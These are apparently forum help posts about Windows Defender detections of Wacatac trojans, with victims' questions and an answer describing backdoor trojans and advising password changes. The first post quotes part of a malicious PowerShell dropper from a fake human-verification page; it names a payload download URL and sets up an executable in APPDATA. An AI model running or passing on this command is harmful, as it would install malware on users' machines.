Windows 10: Legitimate trojan:Script/Wacatac.H!ml Threat Blocked, but Until What Point?

Hi Guys!I was not in the right mind when I routinely did those Verify You Are A Human kind of things - and there was one that had instructions on them to Windows+ Run and copy some commands. The command effectively downloaded a file and ran it. The downloaded text file had the commands below:"$TMHs3BNtlCjsF02l = 'https://filezzdwn.b-cdn.net/gig.zip' $MrZ3zmmeQHVUpi3R = "$env:APPDATA\n6FHhzX0FyISVnX0" $r2wINSY2y1wFmxF9 = "$MrZ3zmmeQHVUpi3R\DsQMMDat7GYX2V9M.zip" $bcjnVlXThI20JHuC = "$MrZ3zmmeQHVUpi3R\Setup.exe"if !Test-Path $MrZ3zmmeQHVUpi3R { New-Item -Path $MrZ3zmmeQHVUpi3R -ItemType Direc

:)

 

Trojan Script Wacatac B!ml

Hi,

I am using Windows 11.I went to a hotel website , trying to make a reservation , after entering the dates, pressed check availability or check rates , A red screen came up , with a virus warning, Windows defender detected it. I quarantine it and said Detected : Trojan Script Wacatac B!ml, severe.

I used Windows defender to remove the trojan and now the status showed : a threat or app was Removed from this device.

based on this information, can I assume that this trojan is gone forever, or it's still hiding somewhere.

Thank you.

 

Trojan Script Wacatac H ml

Hi, I am making a backup of my iPhone 13 Pro Max via iTunes on a Windows computer, Windows 10.

When running Windows Defender anti-virus scan, it identifies Trojan Script Wacatac Hml as a virus in the iPhone backup folder in two files in folders 5f and b5. The file names are:

5f4af662a1def203d49f00e405c82342871d7dce and b5ca8fc6a4f9c4db7a19177237af546494d53a58.

All software on all devices is up to date.

Apple maintains it is a "false positive", iPhones cannot get viruses and Defender must fix their anti virus software. I have done everything to try and remove the trojan from the iPhone but to no avail. Please advise if it is in fact a "false positive".

Took forever to log this query: Error: Oops something went wrong.

Kind regards, Gert

 

Virus Trojan:32/Wacatac.DC!ml not completely remediated on Windows PC

This is a "Backdoor" trojan. Read about it here: Trojan:Win32/Wacatac.D!ml - Virus Lists and Removal Steps

These are the most dangerous, and most widespread, type of Trojan.

Backdoor Trojans provide the author or ‘master’ of the Trojan with remote ‘administration’ of victim machines. Unlike legitimate remote administration utilities, they install, launch and run invisibly, without the consent or knowledge of the user. Once installed, backdoor Trojans can be instructed to send, receive, execute and delete files, harvest confidential data from the computer, log activity on the computer and more.

If your computer was used for online banking or has credit card information on it, all passwords should be changed immediately to include those used for email, eBay and forums.
You should consider them to be compromised.
They should be changed by using a different computer and not the infected one, if not an attacker may get the new passwords and transaction information.

Banking and credit card institutions should be notified of the possible security breech.